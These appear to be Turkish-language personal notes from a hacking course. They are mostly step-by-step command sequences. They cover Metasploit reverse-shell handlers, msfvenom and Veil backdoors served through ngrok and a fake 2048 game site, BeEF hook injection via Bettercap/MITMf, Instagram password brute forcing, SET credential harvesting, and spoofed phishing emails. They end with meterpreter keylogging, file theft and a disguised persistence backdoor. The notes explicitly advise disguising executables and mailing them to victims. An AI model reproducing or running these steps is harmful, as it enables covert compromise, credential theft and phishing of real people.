//iconda hata alırsak /opt/TrojanFactory/icons içine kapak iconu yapıřtıralım. Generic.icoyu silelim. kapak.iconun ismini generic.ico yapalım.

//řimdi dileyicimizi açalım.

```
msfconsole
```

```
use exploit/multi/handler
```

```
set payload windows/meterpreter/reverse_tcp
```

```
show options
```

```
set lhost 10.0.2.4
```

```
exploit -j -z
```

//dinleme açıldı.

```
sessions -l
```

```
sessions -1
```

```
ls
```



## msfconsole

//exe uzantısını deęişelim şimdi yeni bir terminal daha açalım.

apt-get install gname-characters

//linux arama kısmına charecters yazıp açalım. açılan uygulamada right-to seç. test31.exe yeni ismi andpgj.exe

//son 7 karakteri kopy past ile yap

//şimdi email deęiştirecez. twitterdan gelmiş gibi yapacağız. virüsü öyle yollayacağız.

## EMAİLLERİ DEĞİŞTİRMEK::

Kalide mozilladan google açalım. -> anonymous email sender yazalım. çıkan siteleri deneyelim.

ilk yere gidecek kişinin emaili: harun@gmail.com

admin@twitter.com // kimden geliyor

about profil fotoğrafınız vs..

download this: 10.0.2.4/backdoors/... neyse ismi ... yolla.

/-----\*\*\*\*\*-----  
-----/

## BEEF::

Bu bölümde hedef kişinin bilgisayarında browserlarında javasciprit kodlarını çalıştıracağız. Beef ile

Kalide arama kısmına Beef yazalım.

Beef starta basalım. kali şifreni istiyor gir. Daha sonra bizi kendi sitesine yönlendiriyor. username beef şifre kali şifren

Sol menüde oltaya takılan kişileri listeleyecek. ve onlineyken saldırabiliriz.

Beef yüklü değilse:

Terminalde

```
cd..
```

```
cd opt
```

```
git clone https:github.com/beefproject/beef
```

```
cd beef
```

```
ls
```

```
./install //Y //Y Yüklendi açmak için her zaman şunu yapmak  
lazım
```

```
cd..
```

```
cd opt
```

```
cd beef
```

ls

./beef

nano config.yaml //ok tuşları ile aşağı inip şifre gir password kısmına ctrl+o , enter, ctrl+x

./beef

## HEDEFİ OLTAYA TAKMAK

beef in açık olduğu terminale

service apache2 start

//daha sonra file system-> var -> www -> html -> index.html -> bu index.html i editleyelim. sağ tıklayıp open with text editor leafpad ile açıp her şeyi sil.

<h1> i hack you </h1>

<script src="http://10.0.2.8:3000/hook.js"></script>

//kalimizin ip adresi

save yapalım daha sonra hedefe bu url adresini at girdiği dakika beefe düşüyor.

## JAVASCRIPT ENJEKSİYONU:::

Şimdi aynı terminalde bettercap çalıştıralım.

`bettercap -iface eth0`

`help`

`caplets.show`

//eğitimin videosu altında beefcustom.zip var onu indir zipten çıkart -> other locations -> computer ->usr -> share -> bettercap -> caplets ->

beefcustom klasörü yoksa oluştur içine zipten çıkardığın beefcustom.cap ve beefcustom.js at

beefcustom.cap aç sağ tık leafpad ile hedefin ip adresini ver kaydet ve çık.

beefcustom.js aç sağ tık leafpad ile burayada kalinin kendi ip adresini ver srcden sonra , kaydet ve çık.

terminale dön::

`bettercap -iface eth0 -caplet`

`/usr/share/bettercap/caplets/beefcustom/beefcustom.cap`

`//eğer hata alırsan mitm ile dene`

`python mitmf.py --arp --spoof --gateway 10.0.2.1 --target 10.0.2.4 -i eth0 --inject --js.url http://10.0.2.8:3000/hook.js`

`//buda mitm`

## **EKRAN GÖRÜNTÜLERİNİ ALMAK::**

Beef control Panel -mozilladaki -> commandsa basalım  
Module Tree de browseri açalım. Yeşiller kesin açılacak,  
kırmızılar denemeye değer.

Biz spyder Eye basalım. daha sonra sağ altta Executeye  
basalım. Ekran görüntüsünü alacağız. Module result History  
içinde.

Module tree de alert yazalım. karşıya bir mesaj gönderelim  
create alert dialog açalım -> sağda metine i hack you yazalım  
execute basalım.

Module treede social engineering açalım. Pretty Theft  
basalım. Execute bassalım. Saldırılan pcye senin facebook  
oturum süren doldu giriş yap bildirimi göndereceğiz. O  
kullanıcı adı ve şifresini girse  
biz module results historyde göreceğiz.

## **BACKDOOR İLETME YÖNTEMİ::**

//Kontrolü tamamen ele geçirmek için bir backdoor  
oluşturacağız.

Module Treede fake Notification Bar (choreme) ona  
tıklayalım. -> bu siteyi bunu indirin gibi bir mühendislik  
yapabiliriz. URLYEDE backdoorumuzu koyacağız.

Terminaller açık olsun Yeni bir terminal daha açalım.::

```
cd..
```

```
cd opt
```

```
cd Veil/
```

```
ls
```

```
python3 Veil.py
```

```
use 1
```

```
list
```

```
use 14
```

```
set lhost 10.0.2.8
```

```
set lport 4040
```

```
set processors 1
```

```
set sleep3
```

```
generate
```

```
install_plugin
```

```
exit
```

```
service apache2 start
```

files-> other location -> computer -> var -> lib -> Veil ->

output -> complied oluşan plugine sağ tıkla move to de var

içine www html backdoor içini seçip select de

//BeefConsolePanel-Mozillaya dön

Url istenen kısma :

http://10.0.2.8/backdoors/install\_plugin.exe yaz execute et

Tekrar Terminale dönelim:: msfconsole çalıştırdık şimdi

msfconsole

use exploit/multi/handler //gelen bağlantıyı dinleme

set payload windows/meterpreter/reverse\_http

options

set lhost 10.0.2.8

set lport 4040

exploit -j -z

//Karşıdaki kişi indirdiği dakika ele geçiririz.

/-----\*\*\*\*\*-----  
-----/

## SOSYAL MEDYA GÜVENLİĞİ :

### BRUTE FORCE TEKNİĞİ ::

Terminali açalım:

```
cd Downloads/
```

```
git clone https://github.com/Pure_LOGIC/Instagram.git
```

```
cd Instagram
```

```
ls
```

```
crunch 7 8 xy123 -o instawordlist //7-8 karakterden  
oluşturulacak wordlist
```

```
python instagram.py ahars instawordlist 10
```

//Bir 7 ve 8 karakterli xy123 kelimelerinden oluşan şifre listesi oluşturup insta şifre kırma denemesi yaptık.

```
/-----*****-----  
-----/
```

### DIŞ AĞDA BACKDOOR VE TÜNEL SERVİSLERİ ::



kalimizi açalım -> mozillaya gidip ngrok.com açalım -> kaydolalım. -> download for linux seçip download klasörüne gidelim ngroka sağ tıklayıp extract here diyelim.

zipten çıkardıktan sonra ngrok.comda 2. connect your accounttaki kodu kopyala.

Terminali aç.::

cd Downloads/

ls

kodu yapıştır

./ngrok tcp 4242

//bu bizim için bir tane sanal port açıyor. kendi sunucumuz içinde.

//Forwardingde lhost 4242 backdoorlarda tcp ile başlayan ip ve portu yazacaz aşağıdaki örnekte::.

## **MSFVENOM:**

Yukarıdaki terminal açık kalsın Yeni bir terminal daha aç:

msfvenom -p windows/meterpreter/reverse\_tcp -a x86 --  
platform lhost= 0.tcp.ngrok.io lport= 11620 -f exe -o  
/root/newbackdoor.exe      //-p : payload -a: mimari yapı

// oluşan exeyi kopyalayım var/www/html/backdoors içine yapıştıralım.

//Gerçek saldırıda oluşturduğumuz exeyi bir pdf veya bir jpg ya da word gibi yapıp droboxa zip halinde atıp o url'i kopyalayıp mail yoluyla birine atmak gibi yöntemler sosyal mühendislikler lazım.

clear

msfvenom

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

show options

set LHOST 0.0.0.0 //localhost

set LPORT 4242 //localhost karşısındaki port

show options

exploit -j -z

//yeni bir terminal daha açalım

service apache2 start //çalıştır ve kapat.

//hedefe 10.0.2.4/backdoor/exe kısmını indirttikten sonra ve çalıştırdıktan sonra oltaya alıyoruz.

sessions -l

sessions -1

sysinfo

dir

exit

## **VEİL İLE NGROK ÇALIŞTIRMAK:::**

1.Terminal ngrokun olduğu terminal çalışsın.

2.Terminaldeyiz clear çekelim

cd /opt

ls

cd Veil

python3 Veil.py

use 1

list

use 7

set LHOST 0.tcp.ngrok.io

//hata verirse exit

/opt/Veil/tools/evasion tool.py kopyala -> roota yapıştır  
yedek olsun. -> şimdi evasion içindeki tool.py sağ tık open  
with Geany aç -> Geany yoksa apt-get install geany

421 dahil 424 dahil sileceğiz. "421-424 satırlarını" -> 420 satırı  
selectedi if ile aynı hizaya getirelim 419u tamamen silelim.  
save edelim.

python3 Veil.py

use 1

list

use 7

set LHOST 0.tcp.ngrok.io

set LPORT 11620

options

generate

veilbackdoor //dosya ismi..

File system -> var -> lib -> veil -> output -> compiled ->  
veilback.exe sağ tık cut edelim.

var -> www -> html -> backdoors içine yapıştıralım.

## 2.Terminale exit clear

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

show options

set LHOST 0.0.0.0

set LPORT 4242

exploit -j -z

Hedef kişi veilback.exe yi indirdiği zaman.

enter

sessions -l

sessions -1

sysinfo

dir

exit..

/-----\*\*\*\*\*-----  
-----/

## **SAHTE OYUN İLE DIŞ AĞ SALDIRILARI::**

### **GEREKLİ LİNKLER:**

dijital ocean ücretsiz kredi kayıt linki::

<https://m.do.co/c/5ecb7c546723>

Github Oyun Linki: <https://github.com/atilsamancioglu/2048>

## **UBUNTU İLE SUNUCU OLUŞTURMA:**

Dijital ocenada linki açtık Sing up bilgileri gir

Kredi kartları gir daha sonra proje bilgileri -> gamewebserver -  
> just try out digital ocean start diyelim.

+ new droplet e basalım -> ubuntu 16.04.4 x64 bit seçelim ->  
1gb 5\$ -> amsterdam -> create dedikten sonra maile ip ve  
admin giriş password geliyor.

Kaliye dönelim Terminali açalım:

**ssh root@134.209.205.177** //mailden gelen ip adresi böyle  
bi şey olacak onu yazacaz buraya.

**Y**

şifre istiyor mailden geleni gir

tekrar şifreyi gir

Yeni şifre gir 2x

clear

pwd

cd..

ls

cd var

apt-get install apache2 //apache2 yükledik

cd www

cd html

service apache2 start

rm index.html //index.html'i sildik

git clone https://github.com/atilsamancioglu/2048

ls

cd 2048

ls

mv CONTRIBUTING.md /var/www/html

//contributingi html içine taşıdık diğerleri içinde aynı  
yapcaz

mv LICENSE.txt /var/www/html

```
mv Rakefile /var/www/html
mv favicon.ico /var/www/html
mv index.html /var/www/html
mv js /var/www/html
mv meta /var/www/html
mv style /var/www/html
mv README.md /var/www/html
```

//başka bi yerde ip adresini url kısmına yazalım. oyun gelmiş olacak.

## **BEEF KURMAK::**

ubuntu terminalinden devam ediyoruz.

```
sudo apt-add-repository -y ppa:brightbox/ruby-ng
apt-get install git
apt-get install curl      //internet post get gibi web
sunucularına istek yolladığımız araç
\curl sSL https://get.rvm.io| bash -s -- --autolibs = install-
packages
cd /usr/local/rvm
cd bin
./rvm
```



```
./rvm requirements
```

```
\curl -sSL https://get.rvm.io | bash -s stable --ruby
```

```
./rvm install "ruby-2.5.3"
```

```
cd..
```

```
cd..
```

```
cd..
```

```
cd..
```

```
cd opt
```

```
git clone https://github.com/beefproject/beef
```

```
cd beef
```

```
./install //Y
```

```
apt-get install ruby ///Y
```

```
./install
```

```
nano config.yaml //yön tuşları ile aşağı in  
user "ahars"
```

```
password "şifre"
```

```
metasploit = true yap ctrl o enter ctrl x
```

```
./update-geoipdb //Y
```

```
./update-beef
```

```
cd extensions/
```

```
ls
```

```
cd metasploit/
```

ls

nano config.yaml

//host= (epostadaki ip adresini buraya kopyala öncekini sil)

//callback\_host içini temizle yine epostadaki ip adresini gir

//{ os: 'custom', path: '/usr/share/metasploit-framework/'}

ctrl o enter ctrl x

cd..

cd..

./beef //burada verilen url'ye tıkla veya kopyala  
google yapıştır panele git

## OYUNA JAVASCRIPT EKLEMEK::

//Hook URL: http://134 bizim ip ile başlayan url kopyala.

Yeni bir terminal daha aç:

ssh root@134.209.205.177

şifre gir

cd/var/www/html

ls

nano index.html

yön tuşları ile en aşağıda script

yazalım

```
<script src= "http://134.209.205.177:3000/hook.js"></script>
```

noip.com yazalım google. Kayıt olalım ->  
free2048game.ddns.net hostname -> IPV4 ekranına  
epostadan gelen ipi kopyala -> domainimiz oldu artık.  
Telefon pc iç-dış ağ farketmez hackliyor.

```
/-----*****-----  
-----/
```

## **SETOOLKIT :: setoolkit**

Kalimizi açıyoruz. Mozillada google geçip -> setoolkit  
yazıyoruz -> <https://github.com/trustedsec/social-engineer-toolkit>

Terminali açalım:

```
cd /opt
```

```
git clone https://github.com/trustedsec/social-engineer-toolkit.git
```

```
ls
```

```
cd social-engineer-toolkit/
```

```
ls
```

`pip3 install -r requirements.txt`

`python3 setup.py`

`setoolkit` //istediğimiz menüyü açabiliriz.

1

2

3 //credential Harvester attack method.

1 //web Templates.

2.Terminali açalım:

`cd..`

`ls`

`cd root`

`cd Downloads/`

`ls`

`./ngrok http 80` //bize bir url veriyor. o urlnin ip adresini bulalım

3.Terminali açalım::

`ping 77b0-176-88139-247.ngrok.io` (parantez içinde ip adresi veriyor.)

### 1.TERMİNALE Dönelim:

setoolkit ip adresi istiyordu parantez içindeki ip adresini ver

3.13.191.225 //bize verilen neyse onu ver

2 //google log sayfası oluşturuluyor.

Bunu fake email ile gönderelim URLSİNİ.

### 3.TERMİNALE DÖNELİM::

sudo apt install sendmail //yükü olması lazım yükü  
değilse

sendmail -f admin@gmail.com -t harun@gmail.com -s  
smtp.gmail.com:587 -xu testben@gmail.com -xp sifre123 -u  
"Konu Demir" -m "Linki aç: https://f7d7-176-88-139-  
247.ngrok.io"

//vitual boxta Bridge Adaptör yapalım her şeyden önce.

Hackledikten sonrası:

Burada hackledikten sonra kişiden dosyaları nasıl çalarız ona bakacağız. ss alma görüntüleme hedefin bilgileri gibi

TERMINALİ AÇ:

msfconsole

use exploit/multi/handler

show options

set PAYLOAD windows/meterpreter/reverse\_tcp

show options

set LHOST 10.0.2.15 //kali ip

exploit //hedefleri yakaladığımız trojen çalıştığında bağlantıyı bu şekilde dinlemeye başlıyoruz.

sessions -l //kimi hacklediysek listeliyor.

sessions -1

sysinfo //sistem bilgilerini söylüyor hacklediğin kişinin

ps //prosesleri gösterir Hacklenen kişide çalışan programları

migrate 2824 2824e göç ediyorum. Virüsümüzü sistem exeye taşıdık.

ps

sysinfo

pwd //nerede olduğumuzu gösterir hangi dosya konumundaysak

ls

cd..

cd..

cd Users

cd IEUser

ls

cd Downloads

ls

upload backdoor.exe //diyelim ki virüsümüzü indirmiş  
onu bu şekil açabiliriz.

cat harun.txt //txt içeriğini görüntüler

download harun.txt //bizim root klasörüne indiriyor.

keyscan\_start //kaydetmeye başlıyoruz yapılanları

keyscan\_dump //kaydedinleri getiriyor

screenshot //ekran görüntüsü alıyor.

//Bu hacklediğimiz pcde sürekli kalmak istiyorsak erişimin hep  
devam etmesini istiyorsak

background

use exploit/windows/local/persistence

show options

set EXE\_NAME winexplore.exe

set SESSIONS 1

show advanced

set EXE::Custom /var/www/html/backdoors/newpayload.exe

exploit

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_http

show options

exploit

sessions -l

sessions -1

//Artık her pcyi actığında bağlantımız olacak. winexplore gibi anlamayacak bir isimde verdik.